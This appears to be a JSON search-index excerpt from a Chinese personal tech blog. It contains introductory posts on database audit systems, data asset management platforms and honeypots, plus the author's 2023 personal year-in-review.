风险预警与日志管理：系统提供24小时实时监控，支持syslog、snmp、邮件、网管联动、短信猫、录像等多种方式对危险行为实时告警。此外，系统还具备强大的日志查询与报表管理功能，保证查询结果的可视化展示。这些功能可以帮助管理员及时发现并应对潜在的安全风险。 数据库审计系统通过实时监控、违规操作检测、审计策略管理、审计记录检索、合规报告与事故追根溯源以及风险预警与日志管理等方式，确保数据库的安全性。这些功能共同构成了一个全面的数据库安全防护体系，帮助组织有效地保护其数据免受未经授权的访问和数据泄露的威胁。\n七、数据库审计和日志审计系统的区别和联系 数据库审计和日志审计系统都是企业IT安全领域中的重要组成部分，但它们之间存在一些区别和联系。\n区别： 审计对象不同：数据库审计系统主要关注数据库层面的安全审计，监控和记录对数据库的操作行为，包括数据的访问、修改、删除等。而日志审计系统则更广泛地关注企业IT系统中的各种设备、应用和系统产生的日志，包括安全设备、网络设备、服务器、应用系统等。 审计重点不同：数据库审计系统侧重于对数据库操作行为的合规性、风险性进行审计，帮助用户事后生成合规报告、事故追根溯源。而日志审计系统则更注重对整个IT系统的活动进行审计，包括系统的运行状态、安全事件、用户行为等。 审计范围不同：数据库审计系统主要关注数据库系统的安全，包括数据库对象的创建、修改和删除，用户的登录和退出，数据库的访问等。而日志审计系统则通常关注整个系统的活动，包括操作系统、应用程序等的活动，以及网络流量等。 联系： 相辅相成：数据库审计系统和日志审计系统在企业IT安全中都扮演着重要的角色，它们相辅相成，共同构成了企业IT安全审计的完整体系。数据库审计系统可以为日志审计系统提供更为细粒度的审计数据，而日志审计系统则可以为数据库审计系统提供更为全面的系统活动信息。 相互支持：在实际应用中，数据库审计系统和日志审计系统可以相互支持和配合，共同提高企业的IT安全水平。例如，当数据库审计系统检测到异常操作时，可以触发日志审计系统对相关日志进行深入分析，以便及时发现和应对安全事件。 数据库审计和日志审计系统在审计对象、审计重点和审计范围等方面存在明显的区别，但它们在企业IT安全中又相互支持、相辅相成，共同构成了企业IT安全审计的完整体系。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-22-%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%A1%E8%AE%A1%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e随着企业业务数据量的不断增长和数据存储的集中化，数据库成为企业的核心资产之一。然而，数据库面临着各种安全威胁，如SQL注入、权限滥用、数据泄露等。为了保障数据库的安全性和完整性，企业需要采取有效的审计措施来监控和记录数据库的操作行为。本文让我们一起来认识数据库审计系统。\u003c/p\u003e","title":"数据安全之认识数据库审计系统"},{"content":"随着企业数字化转型的深入，数据已经成为企业的重要资产。企业需要更加有效地管理和利用数据，以支持业务决策、优化运营和提高竞争力。本文让我们一起来认识数据资产及数据资产管理平台。\n一、什么是数据资产 数据资产是指由个人或企业拥有或控制的，能够为企业带来未来经济利益的，以物理或电子的方式记录的数据资源。这些数据资源需要满足以下条件才能被称为数据资产：\n有价值性：数据资产必须具有价值，能够为企业带来经济利益。这种价值可以表现为直接的经济效益，如提高销售额、降低成本等，也可以表现为间接的经济效益，如提升客户满意度、优化业务流程等。 可计量性：数据资产的价值必须能够进行量化和计量。这意味着数据资产需要具有可衡量和可评估的属性，可以通过数据分析和挖掘来评估其潜在价值和贡献。 可读取性：数据资产必须以物理或电子的方式记录，能够被读取、存储和处理。这意味着数据资产需要具有标准化的格式和规范，能够被各种系统和工具所识别和利用。 权属明确：数据资产必须具有明确的权属关系，即数据的所有权、使用权等需要清晰明确，能够被合法地拥有和控制。这有助于保护企业的数据权益，防止数据泄露和滥用。 数据资产与普通数据的主要区别在于它们的性质和价值。数据资产被视为一种有价值的资源，需要得到妥善的管理和保护，以实现其潜在的经济价值。只有满足以上条件的数据资源才能被称为数据资产。数据资产是企业重要的无形资产之一，对于企业的决策制定、业务优化和经济发展具有重要意义。因此，企业需要加强数据资产的管理和保护，提高数据的质量和价值，从而实现数据驱动的业务发展。\n二、什么是数据资产管理平台 1、什么是数据资产管理平台 数据资产管理平台是一个用于集中管理、保护和利用组织数据资产的工具。它提供了一个统一的方式来存储、访问、分析和共享数据，旨在帮助组织更好地管理和利用其数据资产。该平台通常包括数据资产盘点、元数据管理、智能数据分析、数据标准管理、数据集成管理、数据质量管理等功能模块，可以实现对数据资产的全面管理和控制。 数据资产管理平台的核心能力包括简洁可视化的目录构建流程、数据资产标签、数据资产服务等，可以帮助组织实现数据资产的规范管理和高效利用。同时，该平台还具备数据安全保障能力，可以确保数据的安全性和完整性，防止数据泄露和非法访问。\n2、为什么需要数据资产管理平台 ● 数字化转型趋势：随着企业数字化转型的深入，数据已经成为企业的重要资产。企业需要更加有效地管理和利用数据，以支持业务决策、优化运营和提高竞争力。数据资产管理平台应运而生，为企业提供数据整合、分析、挖掘和利用的能力。 ● 数据复杂性增加：随着企业数据规模的不断扩大和来源的多样化，数据的复杂性也在增加。企业需要解决数据整合、数据质量、数据安全等问题，以确保数据的准确性和可靠性。数据资产管理平台通过提供数据集成、数据清洗、数据治理等功能，帮助企业解决这些问题。 ● 数据价值挖掘需求：数据资产中蕴含着巨大的价值，但如何发现并利用这些价值成为企业的挑战。数据资产管理平台通过数据分析和挖掘技术，帮助企业发现数据中的模式、趋势和洞察，从而挖掘数据的潜在价值。 ● 法规政策要求：随着数据保护法规的日益严格，企业需要确保数据的安全性和合规性。数据资产管理平台通过提供数据加密、访问控制、审计日志等功能，帮助企业满足法规政策的要求，保护数据的安全和隐私。\n数据资产管理平台对于现代企业来说具有重要的意义。随着大数据时代的到来，数据已经成为企业的重要资产，而如何有效地管理和利用这些数据资产已经成为企业面临的重要挑战。数据资产管理平台可以帮助企业实现数据资产的规范化、标准化和高效化管理，提高数据的质量和价值，从而为企业的发展提供有力的支持。\n三、数据资产管理平台的主要功能 数据资产管理平台的主要功能包括：\n数据资产盘点：从组织架构、业务、信息系统等不同维度统计数据资产，实现组织级数据资产的电子化管理和动态维护功能，形成数据资产管理账册，是实施数据资产管理的重要步骤。 元数据管理：主要包括数据源管理、数据对象管理、数据资产构造细节、数据标准版本管理等功能。通过元数据标准化、自动审核、血缘关系分析、影响分析等功能，使元数据管理更加自动化、系统化、规范化。 智能数据分析：基于统计学、模式识别、机器学习、数据抽象等数据分析工具从数据中发现知识的分析方法，直接或间接提高工作效率，帮助用户在正确的时间拥有正确的数据信息，快速做出正确的决策。 数据标准管理：数据标准分为基本标准和指标标准。通过数据标准，可以检查落地情况和数据质量问题。 数据集成管理：基于WEB页面的批量集成、可视化流程设计、任务集群管理的数据集成功能，提供全量、增量、CDC、数据库表复制等不同的数据集成能力。 数据质量管理：数据安全管理规范文件的集中管理、存储和访问，自动发现和分类敏感数据和权限，发现合规风险，监控敏感数据，监控不当数据询问，了解谁在访问数据，观察异常情况并防止数据丢失。 数据安全和权限管理：确保数据的安全性和隐私保护，包括数据加密、访问控制、权限管理等。 数据共享和协作：支持数据的共享和协作，促进不同部门和团队之间的数据共享和交流。 数据资产管理平台的主要功能涵盖了数据资产盘点、元数据管理、智能数据分析、数据标准管理、数据集成管理、数据质量管理、数据安全和权限管理以及数据共享和协作等方面，旨在帮助企业全面管理和利用自身的数据资产，提高数据的质量和价值，为企业的发展提供有力的支持。 四、数据资产管理平台的工作原理 数据资产管理平台通过资产发现系统对多类型数据的资产数据做识别、分析并采集到资源库。支持数据表技术字段、业务类型、字段业务类型识别，以标准数据格式存储，通过后端服务实现对目录和资源的数据管理。\n技术架构示意图如下：\n数据收集与整合：平台首先通过各种方式（如数据库接口、文件导入、API等）从企业的各个数据源中收集数据，并对这些数据进行整合和清洗，以确保数据的准确性和一致性。 元数据提取与管理：平台会自动提取数据的元数据（即描述数据的数据），并对这些元数据进行管理。元数据可以帮助企业理解数据的来源、含义、关系以及使用方式。 数据资产目录构建：基于元数据，平台会构建一个数据资产目录。这个目录可以清晰地展示企业的所有数据资产，包括它们的类型、位置、状态以及与其他数据资产的关系。 数据质量监控与提升：平台会对数据的质量进行持续的监控，并提供工具和方法来提升数据质量。例如，平台可以检测数据的完整性、准确性、一致性等，并提供数据清洗和转换的工具。 数据安全保护：平台会实施严格的数据安全保护措施，包括数据加密、访问控制、审计日志等，以确保数据的安全性和隐私性。 数据展示与服务提供：平台会提供一系列的数据服务，如数据查询、数据分析、数据挖掘等，以帮助用户更好地利用数据。同时，平台也会支持数据的共享和交换，以促进企业内部以及企业与外部的数据合作。 数据资产管理平台通过自动化的方式，对企业的数据资产进行全面的管理、保护和利用，从而帮助企业提高数据的质量和价值，实现数据驱动的业务发展。\n五、数据资产管理平台的应用场景 数据资产管理平台的应用场景非常广泛，主要涵盖以下几个领域：\n企业数据管理：数据资产管理平台可以帮助企业管理和整合各类数据，包括客户数据、产品数据、供应链数据、财务数据等。通过实现数据的一致性和准确性，平台支持企业的决策和业务运营。 数据分析与洞察：通过数据资产管理平台，企业可以进行数据分析和挖掘，发现数据中的模式、趋势和洞察。这些洞察有助于企业了解市场需求、优化产品设计、改进营销策略等。 智能决策支持：平台可以提供实时和准确的数据，支持企业进行智能决策。通过数据的可视化和报表生成，企业可以快速获取关键指标和业务洞察，以支持决策制定和执行。 客户关系管理：数据资产管理平台可以集成和管理客户数据，帮助企业建立完整的客户画像，实现个性化营销、客户维护和客户服务的优化。 供应链管理：平台可以监控和管理供应链中的各个环节，包括供应商管理、库存管理、物流管理等，从而提高供应链的效率和可靠性。 金融风控：在金融行业，数据资产管理平台可以集成和分析大量的金融数据，帮助金融机构进行风险评估和风控管理，提高风险管理的准确性和效率。 此外，随着技术的发展和应用场景的不断扩展，数据资产管理平台还可能应用于更多的领域，如物联网、人工智能、大数据等，以满足企业不断增长的数据管理和利用需求。\n六、安全资产管理平台与数据资产管理平台的区别与关系 安全资产管理平台和数据资产管理平台在功能和目标上存在一定的区别，但它们之间也存在紧密的联系。\n1、安全资产管理平台与数据资产管理平台的区别 关注点不同：安全资产管理平台主要关注资产的安全性和风险管理，包括资产识别、风险评估、安全策略制定等。而数据资产管理平台则更侧重于数据的收集、整合、分析和利用，关注数据的完整性、准确性、一致性和可访问性等方面。 管理对象不同：安全资产管理平台主要管理的是企业的IT资产，包括硬件、软件、网络设备等。而数据资产管理平台则主要管理企业的数据资产，包括结构化数据、非结构化数据、流数据等。 技术手段不同：安全资产管理平台通常采用安全审计、漏洞扫描、入侵检测等技术手段来确保资产的安全。而数据资产管理平台则利用数据集成、数据清洗、数据挖掘等技术手段来管理和利用数据资产。 2、安全资产管理平台与数据资产管理平台的关系 相辅相成：安全资产管理平台和数据资产管理平台在企业的信息化建设中相辅相成。安全资产管理平台为数据资产管理平台提供了安全保障，确保数据资产在收集、传输、存储、使用等过程中的安全性。而数据资产管理平台则通过有效的数据管理和利用，为企业的业务决策和运营提供有力支持，同时也为安全资产管理平台提供了更多的数据源和分析依据。 相互促进：随着企业信息化程度的不断提高，数据资产的安全性和价值性日益凸显。安全资产管理平台和数据资产管理平台可以通过相互集成和协作，共同提升企业的信息化水平和核心竞争力。例如，通过数据资产管理平台发现的数据异常或风险，可以触发安全资产管理平台进行相应的安全审计和风险评估，从而及时发现和解决潜在的安全隐患。 安全资产管理平台和数据资产管理平台虽然在功能和目标上存在一定的区别，但它们之间紧密相连、相互促进，共同构成了企业信息化建设的重要组成部分。\n七、企业如何利用数据资产管理平台管理数据 数据资产管理平台可以通过以下几个方面帮助企业管理数据：\n数据资产盘点：数据资产管理平台可以对企业的数据资产进行全面的盘点，包括数据的来源、存储、使用情况等，从而帮助企业了解自身的数据资产状况，为数据管理和利用提供基础数据。 元数据管理：元数据是描述数据的数据，通过对元数据的管理，可以帮助企业更好地理解和利用数据。数据资产管理平台可以提供元数据的采集、存储、查询和利用等功能，从而实现元数据的规范化管理。 智能数据分析：数据资产管理平台可以利用人工智能技术对数据进行分析和挖掘，从而帮助企业发现数据中的规律和趋势，提高数据的利用价值。 数据标准管理：数据资产管理平台可以制定和管理企业的数据标准，包括数据格式、数据命名、数据分类等，从而确保数据的规范性和一致性，提高数据的质量和可利用性。 数据集成管理：数据资产管理平台可以实现对企业内部和外部的数据进行集成和整合，从而消除数据孤岛，实现数据的共享和利用。 数据质量管理：数据资产管理平台可以对数据进行质量检查和管理，包括数据的完整性、准确性、一致性等，从而确保数据的质量和可靠性。 数据安全保障：数据资产管理平台可以提供数据安全保障能力，包括数据的加密、备份、恢复等，从而确保数据的安全性和完整性，防止数据泄露和非法访问。 数据资产管理平台可以通过全面的数据管理和利用能力，帮助企业更好地管理和利用自身的数据资产，提高数据的质量和价值，为企业的发展提供有力的支持。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-18-%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8%E4%B9%8B%E8%AE%A4%E8%AF%86%E6%95%B0%E6%8D%AE%E8%B5%84%E4%BA%A7%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0/","summary":"\u003cp\u003e随着企业数字化转型的深入，数据已经成为企业的重要资产。企业需要更加有效地管理和利用数据，以支持业务决策、优化运营和提高竞争力。本文让我们一起来认识数据资产及数据资产管理平台。\u003c/p\u003e","title":"数据安全之认识数据资产管理平台"},{"content":"蜜罐的概念首次由Clifford Stoll在其1988年出版的小说《The Cuckoo\u0026rsquo;s Egg》中提出。Clifford Stoll不仅是一位著名的计算机安全专家，还是这本小说的作者。他在小说中描述了自己作为一个公司的网络管理员如何追踪并发现一起商业间谍案的故事。在这个过程中，他成功地利用包含虚假信息的文件作为诱饵来检测入侵，这种技术思想就是蜜罐的雏形。因此，可以认为Clifford Stoll是首次提出蜜罐概念的人。随后，在1998年，商用的蜜罐产品开始出现，这标志着蜜罐技术开始从理论走向实际应用。本文让我们一起来认识蜜罐。\n一、什么是蜜罐 蜜罐（Honeypot）是一种主动防御技术，是一个包含漏洞的诱骗系统。蜜罐技术本质上是一种对攻击方进行欺骗的技术，通过布置一些作为诱饵的主机、网络服务或者信息，诱使攻击方对它们实施攻击，从而可以对攻击行为进行捕获和分析，了解攻击方所使用的工具与方法，推测攻击意图和动机，能够让防御方清晰地了解他们所面对的安全威胁，并通过技术和管理手段来增强实际系统的安全防护能力。 蜜罐好比是情报收集系统。蜜罐好像是故意让人攻击的目标，引诱黑客前来攻击。所以攻击者入侵后，你就可以知道他是如何得逞的，随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系，收集黑客所用的种种工具，并且掌握他们的社交网络。\n二、蜜罐的主要类型 蜜罐的主要类型可以根据其交互程度和实现方式进行分类：\n根据交互程度的不同，蜜罐可以分为高交互蜜罐和低交互蜜罐。 ● 高交互蜜罐：提供一个真实的、可交互的操作系统或服务。这种蜜罐模拟了真实系统的功能，允许攻击者获得完全的访问权限，并能作为跳板实施进一步的网络攻击。然而，高交互蜜罐的部署较为困难，维护成本较高，且一旦服务上存在的漏洞被利用，容易引发新的安全问题。 ● 低交互蜜罐：只模拟部分系统、端口或服务的功能。这种蜜罐的设计相对简单，主要目的是引诱攻击者进行交互，同时保护真实的系统不受攻击。由于低交互蜜罐的功能有限，攻击者不能通过攻击这些服务获得完全的访问权限。因此，低交互蜜罐相对容易部署和维护。 从实现方法上来分，蜜罐可分为物理蜜罐和虚拟蜜罐。 ● 物理蜜罐：指网络上一台真实的完整计算机，它运行着真实的操作系统和服务，具有较高的逼真度，能够吸引更多的攻击者。然而，物理蜜罐的部署和维护成本较高，且可能面临法律和道德问题。 ● 虚拟蜜罐：由一台计算机模拟的系统，它可以响应发送给虚拟蜜罐的网络流量。虚拟蜜罐具有成本低、易于部署和管理的优点，同时可以模拟多种操作系统和服务，提高蜜罐的灵活性和多样性。 此外，根据部署目的的不同，蜜罐还可以分为产品型蜜罐和研究型蜜罐两类。产品型蜜罐主要用于为一个组织的网络提供安全保护，而研究型蜜罐则专门用于对黑客攻击的捕获和分析。\n三、蜜罐的主要功能 迷惑入侵者，保护服务器 一般的客户/服务器模式里，浏览者是直接与网站服务器连接的，换句话说，整个网站服务器都暴露在入侵者面前，如果服务器安全措施不够，那么整个网站数据都有可能被入侵者轻易毁灭。但是如果在客户/服务器模式里嵌入蜜罐，让蜜罐作为服务器角色，真正的网站服务器作为一个内部网络在蜜罐上做网络端口映射，这样可以把网站的安全系数提高，入侵者即使渗透了位于外部的“服务器”，他也得不到任何有价值的资料，因为他入侵的是蜜罐而已。虽然入侵者可以在蜜罐的基础上跳进内部网络，但那要比直接攻下一台外部服务器复杂得多，许多水平不足的入侵者只能望而却步。 诱捕和追踪攻击者：蜜罐可以记录攻击者的所有活动，并追踪攻击者的来源和身份。通过分析攻击者的IP地址、攻击工具、攻击时间等信息，可以帮助管理员追踪攻击者的真实身份和位置，为后续的应对和处置提供有力支持。 评估和提升安全防护能力：蜜罐可以模拟实际系统中的漏洞和弱点，帮助管理员评估实际系统的安全防护能力。通过模拟攻击，管理员可以了解实际系统中存在的安全漏洞和弱点，从而采取相应的措施进行修复和加固，提升系统的安全防护能力。 威胁情报收集：蜜罐可以捕获攻击者的攻击数据和样本，为威胁情报收集提供重要来源。通过分析攻击数据和样本，管理员可以了解最新的攻击方法和工具，及时发现新的安全威胁，并采取相应的应对措施。 四、蜜罐的主要组成及核心技术 蜜罐的主要组成部分包括：\n操作系统和应用软件：蜜罐通常会安装一个操作系统和一些常见的应用软件，以模拟真实系统的环境。这些操作系统和应用软件可能包含一些已知的漏洞，以吸引攻击者进行攻击。 网络服务：蜜罐会开放一些网络服务，如Web服务、FTP服务、数据库服务等，以提供攻击者攻击的目标。这些服务也可能包含一些漏洞，以吸引攻击者进行攻击。 日志和监控工具：蜜罐会安装日志和监控工具，以记录和分析攻击者的活动。这些工具可以记录攻击者的IP地址、攻击时间、使用的攻击工具和方法等信息，帮助管理员了解攻击者的行为和意图。 防火墙和安全策略：为了保护蜜罐本身不被攻击者攻破，通常会配置防火墙和安全策略，限制攻击者的访问和攻击手段。这些防火墙和安全策略也会根据需要进行调整和优化。 数据分析工具：蜜罐收集的攻击数据和样本需要进行深入的分析和处理，以提取有用的信息。数据分析工具可以帮助管理员对攻击数据和样本进行挖掘和分析，发现新的安全威胁和漏洞。 蜜罐的主要组成部分包括操作系统和应用软件、网络服务、日志和监控工具、防火墙和安全策略以及数据分析工具等。这些组件共同构成了蜜罐的基本架构和功能，使其能够作为一个有效的安全工具来监测和发现攻击。\n蜜罐的核心技术主要包括数据捕获技术、数据控制技术和数据分析技术。\n数据捕获技术：数据捕获是在入侵者无察觉的情况下，完整地记录所有进入蜜罐系统的连接行为及其活动。捕获到的数据日志是数据分析的主要来源，通过对这些数据日志的分析，管理员可以发现入侵者的攻击方法、攻击目的、攻击技术和所使用的攻击工具。数据捕获技术对于蜜罐的有效性至关重要，因为它提供了攻击行为的直接证据。 数据控制技术：数据控制技术用于管理和控制蜜罐系统中捕获的数据。这包括数据的存储、访问和传输等方面的控制。通过数据控制技术，管理员可以确保捕获的数据的安全性和完整性，防止数据被篡改或泄露。 数据分析技术：数据分析是对蜜罐系统所捕获到的数据记录进行分析处理的过程。通过数据分析，管理员可以提取入侵规则，分析是否有新的入侵特征。数据分析技术包括网络协议分析、网络行为分析和攻击特征分析等。这些分析技术可以帮助管理员深入了解攻击者的行为模式和攻击意图，为制定相应的防御措施提供依据。 此外，蜜罐系统中还常常采用一些辅助技术来提高其安全性和有效性，例如伪装技术、诱饵技术、网络流量生成技术等。这些技术可以进一步增强蜜罐的欺骗性，使其更难以被攻击者识别和利用。\n总的来说，蜜罐的主要技术涵盖了数据捕获、数据控制和数据分析等方面，这些技术共同构成了蜜罐的核心功能，使其能够有效地检测和应对网络攻击。\n五、蜜罐的优缺点 蜜罐技术的优缺点如下：\n优点： 早期预警：蜜罐可以作为一个早期预警系统，帮助组织及时发现潜在的网络攻击。当攻击者试图访问或利用蜜罐时，管理员可以立即得到通知，从而采取相应的防御措施。 威胁情报收集：蜜罐可以捕获攻击者的活动信息，包括使用的工具、方法、攻击策略等，为组织提供有价值的威胁情报。通过分析这些信息，管理员可以了解攻击者的行为模式，提高防御能力。 增强安全防护：蜜罐可以分散攻击者的注意力，使其将资源投入到无用的攻击上，从而保护真实的系统免受攻击。此外，蜜罐还可以作为跳板，帮助管理员追踪攻击者的来源和身份。 提供培训和学习环境：蜜罐可以为安全人员提供一个安全的培训和学习环境，帮助他们了解攻击者的行为模式、工具和方法，提高安全技能和知识水平。 缺点： 数据收集面狭窄：蜜罐只能检测到针对其自身的攻击行为，对于攻击者攻击其他系统的行为则无法感知。因此，蜜罐的数据收集范围相对狭窄，可能无法提供全面的安全威胁信息。 指纹识别风险：蜜罐在模拟漏洞和弱点时，可能会暴露自身的特征和行为模式，从而被攻击者识别出真实身份。这可能导致蜜罐失去其作用，甚至成为攻击者的攻击目标。 管理和维护成本：为了保持蜜罐的有效性和安全性，需要对其进行定期更新和维护。这可能会增加组织的管理和维护成本，同时也需要具备一定的技术能力和专业知识。 蜜罐技术作为一种主动防御手段，在提高组织的安全防护能力方面具有重要作用。然而，其也存在一定的缺点和限制，需要在实际应用中综合考虑其优缺点，并采取相应的措施来确保其有效性和安全性。\n六、蜜罐如何与其他安全工具协同工作？ 蜜罐可以与其他安全工具协同工作，形成一个更加全面和有效的安全防护体系。以下是一些蜜罐与其他安全工具协同工作的方式：\n入侵检测系统（IDS）：蜜罐可以与IDS协同工作，共同监测和防御网络攻击。IDS负责实时监控网络流量，检测异常行为和潜在的攻击模式，而蜜罐则作为诱饵吸引攻击者，并捕获攻击者的行为数据。通过将蜜罐与IDS集成，可以及时发现并响应攻击，提高整体的安全防护能力。 防火墙：防火墙是网络安全的重要组成部分，负责控制进出网络的流量。蜜罐可以与防火墙协同工作，通过配置特定的防火墙规则，将蜜罐暴露在公网上，同时保护真实的系统不受攻击。防火墙可以过滤掉大部分的恶意流量，而蜜罐则用于捕获和分析剩余的攻击行为。 端点保护平台：端点保护平台用于保护网络中的终端设备，如计算机、服务器等。蜜罐可以与端点保护平台协同工作，共同防御针对终端设备的攻击。蜜罐可以吸引攻击者，并捕获攻击者的行为数据，而端点保护平台则负责检测和清除终端设备上的恶意软件和其他威胁。 日志分析工具：蜜罐捕获的攻击行为数据可以与日志分析工具结合使用，对攻击行为进行深入的分析和溯源。日志分析工具可以对蜜罐捕获的日志数据进行挖掘和分析，提取出攻击者的特征、攻击工具、攻击路径等信息，为安全人员提供有价值的情报和线索。 此外，蜜罐还可以与其他安全工具如安全信息和事件管理（SIEM）系统、网络流量分析工具等协同工作，共同构建一个全面而高效的安全防护体系。通过整合各种安全工具和资源，可以实现对网络攻击的及时发现、快速响应和有效防御。\n七、什么是“蜜网”？与蜜罐的联系和区别是什么？ 蜜网（Honeynet）是一个比蜜罐更为复杂和全面的概念，它不仅仅是一个单一的诱骗系统，而是一个由多个蜜罐和其他安全组件组成的网络。蜜网的主要目的是构建一个高度可控的环境，以收集和分析来自攻击者的信息，同时提供一个平台来研究和应对网络安全威胁。与蜜罐相比，蜜网的区别主要体现在以下几个方面：\n规模与复杂性：蜜网是一个网络，通常包含多个蜜罐以及其他安全组件，如入侵检测系统、防火墙等。而蜜罐则是一个单一的、独立的系统。因此，蜜网在规模和复杂性上通常要大于蜜罐。 交互性：蜜网中的蜜罐可以模拟各种不同的系统和设备，如Windows、Linux、路由器等，从而提供更具交互性的环境，吸引攻击者进行更深入的攻击。而蜜罐通常只能模拟一个特定的系统或服务。 数据收集与分析：蜜网通过集中监控和管理所有进出蜜网的数据，可以收集到更丰富的攻击信息，包括攻击者的工具、方法、动机等。同时，蜜网还提供了更强大的数据分析和处理能力，以支持更深入的安全研究。 联系方面，蜜罐和蜜网都是用于诱捕攻击者的安全工具，它们都是通过模拟漏洞和弱点来吸引攻击者的注意。此外，蜜罐可以作为蜜网的一个组成部分，通过将其集成到蜜网中，可以构建一个更完整、更全面的安全监控体系。\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-14-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E8%9C%9C%E7%BD%90/","summary":"\u003cp\u003e蜜罐的概念首次由Clifford Stoll在其1988年出版的小说《The Cuckoo\u0026rsquo;s Egg》中提出。Clifford Stoll不仅是一位著名的计算机安全专家，还是这本小说的作者。他在小说中描述了自己作为一个公司的网络管理员如何追踪并发现一起商业间谍案的故事。在这个过程中，他成功地利用包含虚假信息的文件作为诱饵来检测入侵，这种技术思想就是蜜罐的雏形。因此，可以认为Clifford Stoll是首次提出蜜罐概念的人。随后，在1998年，商用的蜜罐产品开始出现，这标志着蜜罐技术开始从理论走向实际应用。本文让我们一起来认识蜜罐。\u003c/p\u003e","title":"网络安全产品之认识蜜罐"},{"content":"中国人都喜欢过春节，2024年农历新年来临之际，又到了回首过去展望未来的时候。 在2023年年初的时候就在《写给两年后2025年的自己》立了flag，要练好架子鼓、实现英语阅读的自由、写技术博客，换车等，一年过去了进度怎么样呢？2023年我都干了啥？ 很多时候我都在问自己，自己的兴趣到底是什么？兴趣是一个人对特定事物或活动的喜好和热爱，它通常表现为一种积极的、自发的、持久的倾向，可以激发人们的热情和动力，使人们愿意投入时间和精力去探索和体验。 所以我的兴趣是打鼓、看书、写代码、旅行。\n一、打鼓 2021年底萌生了学习架子鼓的想法，经过一段时间的努力彻底明白了《任何说30天快速学会架子鼓的都是骗人的！》，抛弃了速成的念头。希望通过两到三年的学习能够入个门自娱自乐一下。两年过去了，在2023年有段时间还是练得比较勤快，基本上每天都有练一个小时，无赖是全靠自学且资质平平所以进步比较缓慢，一首《感官先生》练了我两个多月。不过还是可以敲几首简单的歌了。2023年在抖音上发了6首完整的架子鼓演奏视频（抖音号：xiejava）见证我的努力和进步。\n二、看书观影 我有个习惯就是每看一本书或看一部电影都会在豆瓣上记录一下，2023年工作很忙，很少看电影，看也书不多，在豆瓣上记录了看了9部电影、14本书。\n2023年重新回味了经典港剧《无间道》，看了国产科幻大片《流浪地球2》及很火的电视剧《狂飙》，感受到了国产剧的崛起。 2023年虽然看书不多只记录了14本，但是我做了一些改变，不求数量，重点是主题阅读构建自己的知识架构体系。历史类的书看得比较多，新书看了二战相关的《最长的一天》、《遥远的桥》，科技类看了《芯片战争》、《ChatGPT:人类新纪元》，技术方面的书主要是关于机器学习方面的包括《Python机器学习基础教程》、《数据分析咖哥十话》等，其他还看了《红星照耀中国》、《三体：地球往事》等。 主要还是以历史和技术类的为主，很多书看了就忘了，所以2023年重读了一些书，包括《文明之光》系列的4册等。给自己做了个约定，自己认为经典的书，至少要看三遍。\n三、写博客 2023年写了42篇博客，主要是网络安全和数据分析相关的技术博客。因为目前在从事网络安全相关方面的工作，平时对数据分析机器学习感兴趣，这方面的内容会多一点。技术类的博客主要发表在CSDN，读书及书评发表在豆瓣，当然还有自己的自留地 《xiejava\u0026rsquo;s blog》 所有的博客文章都会在这里。\n2023年在CSDN发布了37篇原创博文，上榜了273次，每次上榜都坚定了我写博客的心。 2023年开通了微信公众号fullbug，经过一年的努力在公众号上发布了116篇文章，公众号订阅用户也到1407，1407个订阅用户就是对我小小的鼓励，激励我持续的输出。\n四、计划 都2024年了，架子鼓、实现英语阅读的自由、写技术博客，换车等，一年过去了进度怎么样呢？离2025年的目标还差多远呢？\n架子鼓：目前的水平还只能僵硬的对着动态鼓谱敲几首简单的歌，离架子鼓自由还差很远，2024年将继续努力，持续的在抖音上发布练习视频，让大家监督，让自己看到自己的努力和进步，争取在2025实现几首比较经典歌曲的熟练的演奏。\n英语：英语和架子鼓一样是靠时间练习和积累的，在写了一篇《学习英语，你认为“长期”的坚持是多长，“大量”的阅读又是多少？》的博文后2023年基本没有怎么看英语，本来就不好的英语越发退步了。对于英语已经放弃治疗了。人的精力毕竟是有限的，同时要做好几件事是非常困难的，所以英语自由的计划估计要缓一缓了，等架子鼓学得差不了再来学英语吧。我想如果能够把架子鼓学会，同样也能够把英语学会。\n博客：2025年立的flag是CSDN账号的粉丝到10W，经过2023年的努力目前CSDN的粉丝到了3.7W，离10W还有不少的差距，需要在2024年更加努力的持续输出高质量的文章才有可能达到这个目标。\n旅行：旅行虽然是兴趣之一，一直在憧憬说走就走的旅行，但从来就没有成行过。2023年更是哪里都没有去，2025年的flag之一就是要先换车。在2023年底终于如愿换了台领克08的新能源SUV，见《颜值与实力并存-领克08提车和用车感受》。祖国的大好河山，我想去看看！世界那么大，我想去走走！\n作者博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-02-07-2023%E5%B9%B4%E6%88%91%E9%83%BD%E5%B9%B2%E4%BA%86%E5%95%A5/","summary":"\u003cp\u003e中国人都喜欢过春节，2024年农历新年来临之际，又到了回首过去展望未来的时候。\n在2023年年初的时候就在《\u003ca 